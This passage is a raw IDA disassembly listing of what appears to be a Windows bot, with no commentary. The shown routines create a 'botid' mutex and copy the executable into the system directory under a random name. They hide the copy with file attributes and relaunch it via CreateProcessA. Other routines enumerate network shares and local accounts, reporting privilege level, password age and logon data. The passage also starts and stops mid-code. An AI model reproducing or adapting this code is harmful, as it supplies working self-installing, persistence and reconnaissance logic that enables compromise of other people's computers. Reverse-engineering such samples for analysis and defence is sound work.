esi push esi push ebp push ds:dword_43AAD4 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_43AAD4 pop edi pop ebp pop ebx pop esi retn sub_40C01E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C085 proc near ; CODE XREF: sub_40BF5E+6Ep ; sub_41471A+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40C0F0 push [ebp+arg_4] mov edi, eax call sub_40C0F0 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_417070 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40C0F0 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_436368 pop edi leave retn sub_40C085 endp ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_40C085+Ap ; sub_40C085+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40C0FD pop ebp retn ; --------------------------------------------------------------------------- loc_40C0FD: ; CODE XREF: sub_40C0F0+9j push ebx push esi mov esi, ds:dword_422134 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_4167A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40C0F0 endp ; =============== S U B R O U T I N E ======================================= sub_40C131 proc near ; CODE XREF: sub_40BF5E+20p ; sub_4143F6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40C0F0 push [esp+8+arg_4] mov esi, eax call sub_40C0F0 pop ecx pop ecx push 0 push eax push esi call ds:dword_436340 pop esi retn sub_40C131 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C154 proc near ; CODE XREF: sub_40D2E0+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40C0F0 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 18h loc_40C18D: ; CODE XREF: sub_40C154+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_4363B4 mov ebx, eax cmp ebx, esi jz short loc_40C1F0 cmp ebx, 0EAh jz short loc_40C1F0 push ebx push ebx call sub_40C925 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42A60C push eax call sub_415480 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 24h jmp short loc_40C25D ; --------------------------------------------------------------------------- loc_40C1F0: ; CODE XREF: sub_40C154+5Dj ; sub_40C154+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40C254 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40C1FE: ; CODE XREF: sub_40C154+FCj push dword ptr [esi+10h] call ds:dword_43635C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40C215 mov eax, offset aNo ; "No" loc_40C215: ; CODE XREF: sub_40C154+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_415480 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40C1FE xor esi, esi loc_40C254: ; CODE XREF: sub_40C154+A2j push [ebp+var_4] call ds:dword_4364F8 loc_40C25D: ; CODE XREF: sub_40C154+9Aj cmp ebx, 0EAh jz loc_40C18D xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40C154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C275 proc near ; CODE XREF: sub_40D2E0:loc_40F4B5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40C31A mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40C2B7 dec eax jz short loc_40C2AC dec eax jnz short loc_40C2D2 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40C3BC add esp, 14h jmp short loc_40C2CE ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C275+1Dj push ebx push edi call sub_40C39B pop ecx pop ecx jmp short loc_40C2CE ; --------------------------------------------------------------------------- loc_40C2B7: ; CODE XREF: sub_40C275+1Aj cmp [ebp+arg_8], edi jz short loc_40C2CB push [ebp+arg_8] push ebx push edi call sub_40C341 add esp, 0Ch jmp short loc_40C2CE ; --------------------------------------------------------------------------- loc_40C2CB: ; CODE XREF: sub_40C275+45j push 57h pop eax loc_40C2CE: ; CODE XREF: sub_40C275+35j ; sub_40C275+40j ... cmp eax, edi jnz short loc_40C2F2 loc_40C2D2: ; CODE XREF: sub_40C275+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_43AD38 push ds:off_429EBC[eax*4] push offset dword_42A6F0 push esi call sub_415480 add esp, 10h jmp short loc_40C33A ; --------------------------------------------------------------------------- loc_40C2F2: ; CODE XREF: sub_40C275+5Bj push eax call sub_40C925 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_43AD38 push ds:off_429EB8[eax*4] push offset dword_42A6B4 push esi call sub_415480 add esp, 14h jmp short loc_40C33A ; --------------------------------------------------------------------------- loc_40C31A: ; CODE XREF: sub_40C275+Dj mov eax, [ebp+arg_0] mov esi, offset dword_43AD38 lea eax, [eax+eax*2] push ds:off_429EB8[eax*4] push offset dword_42A67C push esi call sub_415480 add esp, 0Ch loc_40C33A: ; CODE XREF: sub_40C275+7Bj ; sub_40C275+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40C275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C341 proc near ; CODE XREF: sub_40C275+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40C0F0 push [ebp+arg_4] mov edi, eax call sub_40C0F0 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40C0F0 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_43634C pop edi leave retn sub_40C341 endp ; =============== S U B R O U T I N E ======================================= sub_40C39B proc near ; CODE XREF: sub_40C275+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40C0F0 push [esp+8+arg_4] mov esi, eax call sub_40C0F0 pop ecx pop ecx push eax push esi call ds:dword_43633C pop esi retn sub_40C39B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3BC proc near ; CODE XREF: sub_40C275+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40C0F0 push [ebp+arg_4] mov esi, eax call sub_40C0F0 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_4364C0 test eax, eax mov [ebp+arg_0], eax jnz loc_40C764 mov eax, [ebp+var_4] test eax, eax jz loc_40C79F push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_415480 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40C4DB dec eax jz short loc_40C4D4 dec eax jz short loc_40C4CD mov eax, offset aUnknown_0 ; "Unknown" jmp short loc_40C4E0 ; --------------------------------------------------------------------------- loc_40C4CD: ; CODE XREF: sub_40C3BC+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40C4E0 ; --------------------------------------------------------------------------- loc_40C4D4: ; CODE XREF: sub_40C3BC+105j mov eax, offset aUser_1 ; "User" jmp short loc_40C4E0 ; --------------------------------------------------------------------------- loc_40C4DB: ; CODE XREF: sub_40C3BC+102j mov eax, offset aGuest ; "Guest" loc_40C4E0: ; CODE XREF: sub_40C3BC+10Fj ; sub_40C3BC+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_415480 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_415480 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40BAE7 add esp, 20h pop edi pop ebx jmp short loc_40C790 ; --------------------------------------------------------------------------- loc_40C764: ; CODE XREF: sub_40C3BC+35j push eax lea eax, [ebp+var_204] push offset dword_42A720 push eax call sub_415480 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40BAE7 add esp, 20h loc_40C790: ; CODE XREF: sub_40C3BC+3A6j cmp [ebp+var_4], 0 jz short loc_40C79F push [ebp+var_4] call ds:dword_4364F8 loc_40C79F: ; CODE XREF: sub_40C3BC+40j ; sub_40C3BC+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40C3BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7A5 proc near ; CODE XREF: sub_40D2E0+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40C0F0 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 18h loc_40C7E4: ; CODE XREF: sub_40C7A5+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_4363D0 cmp eax, esi mov [ebp+var_C], eax jz short loc_40C845 cmp eax, 0EAh jz short loc_40C845 push eax push eax call sub_40C925 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42A930 push eax call sub_415480 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 24h jmp short loc_40C8C0 ; --------------------------------------------------------------------------- loc_40C845: ; CODE XREF: sub_40C7A5+62j ; sub_40C7A5+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40C8D3 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40C8C0 loc_40C857: ; CODE XREF: sub_40C7A5+EDj cmp edi, esi jz short loc_40C896 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_5 ; " %S" push eax call sub_415480 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40C857 jmp short loc_40C8C0 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40C7A5+B4j lea eax, [ebp+var_218] push offset dword_42A8EC push eax call sub_415480 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 1Ch loc_40C8C0: ; CODE XREF: sub_40C7A5+9Ej ; sub_40C7A5+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40C8D3 push edi call ds:dword_4364F8 xor edi, edi mov [ebp+var_4], edi loc_40C8D3: ; CODE XREF: sub_40C7A5+A5j ; sub_40C7A5+120j cmp [ebp+var_C], 0EAh jz loc_40C7E4 cmp edi, esi jz short loc_40C8EB push edi call ds:dword_4364F8 loc_40C8EB: ; CODE XREF: sub_40C7A5+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_415480 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_40C925 proc near ; CODE XREF: sub_40BF5E+41p ; sub_40C154+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40C9D7 jz loc_40C9D0 cmp eax, 7Bh ja short loc_40C99C jz short loc_40C992 cmp eax, 5 jz short loc_40C988 cmp eax, 8 jz short loc_40C97E cmp eax, 32h jz short loc_40C974 cmp eax, 35h jz short loc_40C96A cmp eax, 57h jnz loc_40CA26 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C96A: ; CODE XREF: sub_40C925+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C974: ; CODE XREF: sub_40C925+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C97E: ; CODE XREF: sub_40C925+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C988: ; CODE XREF: sub_40C925+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C992: ; CODE XREF: sub_40C925+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C99C: ; CODE XREF: sub_40C925+1Aj sub eax, 7Ch jz short loc_40C9C9 sub eax, 7C8h jz short loc_40C9C2 dec eax jz short loc_40C9B8 dec eax jnz short loc_40CA26 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9B8: ; CODE XREF: sub_40C925+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9C2: ; CODE XREF: sub_40C925+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9C9: ; CODE XREF: sub_40C925+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9D0: ; CODE XREF: sub_40C925+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9D7: ; CODE XREF: sub_40C925+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40CA10 jz short loc_40CA09 sub eax, 8ADh jz short loc_40CA3B dec eax dec eax jz short loc_40CA02 dec eax jz short loc_40C9FB dec eax dec eax jnz short loc_40CA26 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40C9FB: ; CODE XREF: sub_40C925+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA02: ; CODE XREF: sub_40C925+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA09: ; CODE XREF: sub_40C925+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA10: ; CODE XREF: sub_40C925+B9j sub eax, 8CAh jz short loc_40CA42 sub eax, 17h jz short loc_40CA3B sub eax, 25h jz short loc_40CA34 sub eax, 29h jz short loc_40CA2D loc_40CA26: ; CODE XREF: sub_40C925+35j ; sub_40C925+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA2D: ; CODE XREF: sub_40C925+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA34: ; CODE XREF: sub_40C925+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA3B: ; CODE XREF: sub_40C925+C2j ; sub_40C925+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40CA47 ; --------------------------------------------------------------------------- loc_40CA42: ; CODE XREF: sub_40C925+F0j push offset aNetworkConnect ; "Network connection not found." loc_40CA47: ; CODE XREF: sub_40C925+40j ; sub_40C925+4Aj ... push offset dword_43AAD8 call sub_415480 pop ecx mov eax, offset dword_43AAD8 pop ecx retn sub_40C925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA59 proc near ; CODE XREF: sub_40D2E0+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_417AD9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call ds:dword_422138 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_417AD9 lea eax, [ebp+var_718] push eax call sub_417ABC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call ds:dword_436478 test eax, eax jnz short loc_40CAE9 mov esi, offset dword_43A8D4 push offset dword_42AC80 push esi call sub_415480 pop ecx pop ecx jmp short loc_40CB12 ; --------------------------------------------------------------------------- loc_40CAE9: ; CODE XREF: sub_40CA59+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40C925 pop ecx mov esi, offset dword_43A8D4 push eax push offset dword_42AC48 push esi call sub_415480 add esp, 14h loc_40CB12: ; CODE XREF: sub_40CA59+8Ej mov eax, esi pop esi leave retn sub_40CA59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB17 proc near ; CODE XREF: _0:00417DCDp var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40B9B9 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_422048 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4C8CC0, eax call esi ; GetTickCount push eax call sub_4154D2 pop ecx call sub_407E65 push 2 call ds:dword_436514 ; SetErrorMode push 7530h push offset aBotid ; "botid" push ebx push ebx call ds:dword_42214C ; CreateMutexA push eax call ds:dword_422148 ; WaitForSingleObject cmp eax, 102h jnz short loc_40CB94 push 1 call ds:off_42212C loc_40CB94: ; CODE XREF: sub_40CB17+73j lea eax, [ebp+var_884] push eax push 202h call ds:dword_4363E0 ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40CFF7 cmp [ebp+var_884], 2 jnz loc_40CFF1 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40CFF1 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call ds:dword_422058 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call ds:off_4220E0 push eax call ds:off_422060 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_4173D8 add esp, 14h lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_4159FA lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_415A50 add esp, 1Ch test eax, eax jnz loc_40CDFA cmp ds:dword_42ACD4, ebx mov esi, offset byte_42AD8C jz short loc_40CC92 push esi xor edi, edi call sub_415C80 sub eax, 4 pop ecx jz short loc_40CC92 loc_40CC6F: ; CODE XREF: sub_40CB17+179j call sub_4154DC push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov ds:byte_42AD8C[edi], dl inc edi call sub_415C80 sub eax, 4 pop ecx cmp edi, eax jb short loc_40CC6F loc_40CC92: ; CODE XREF: sub_40CB17+148j ; sub_40CB17+156j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_415480 add esp, 10h lea eax, [ebp+var_1E8] push eax call ds:off_422080 cmp eax, 0FFFFFFFFh jz short loc_40CCD2 lea eax, [ebp+var_1E8] push 80h push eax call ds:dword_422108 ; SetFileAttributesA loc_40CCD2: ; CODE XREF: sub_40CB17+1A7j mov esi, ds:dword_422144 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_40CCE9: ; CODE XREF: sub_40CB17+209j call esi ; CopyFileA test eax, eax jnz short loc_40CD22 call ds:dword_42206C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40CD22 cmp eax, 20h jz short loc_40CD03 cmp eax, 5 jnz short loc_40CD22 loc_40CD03: ; CODE XREF: sub_40CB17+1E5j push 1 pop edi push 3A98h call ds:dword_422054 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_40CCE9 ; --------------------------------------------------------------------------- loc_40CD22: ; CODE XREF: sub_40CB17+1D6j ; sub_40CB17+1E0j ... lea eax, [ebp+var_1E8] push eax call sub_4091C2 pop ecx lea eax, [ebp+var_1E8] push 7 push eax call ds:dword_422108 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_415500 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_415500 add esp, 18h mov [ebp+var_64], esi mov [ebp+var_58], offset byte_4325D8 mov [ebp+var_34], bx push 1 pop esi mov [ebp+var_38], esi call ds:dword_422140 ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_4220DC ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_42AED0 push eax call sub_415480 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call ds:dword_422104 ; CreateProcessA test eax, eax jz short loc_40CDFA push 0C8h call ds:dword_422054 ; Sleep push [ebp+var_1C] mov esi, ds:off_422074 call esi ; sub_4DB3D5 push [ebp+var_18] call esi ; sub_4DB3D5 call ds:dword_4363C8 ; WSACleanup push ebx call ds:off_42212C loc_40CDFA: 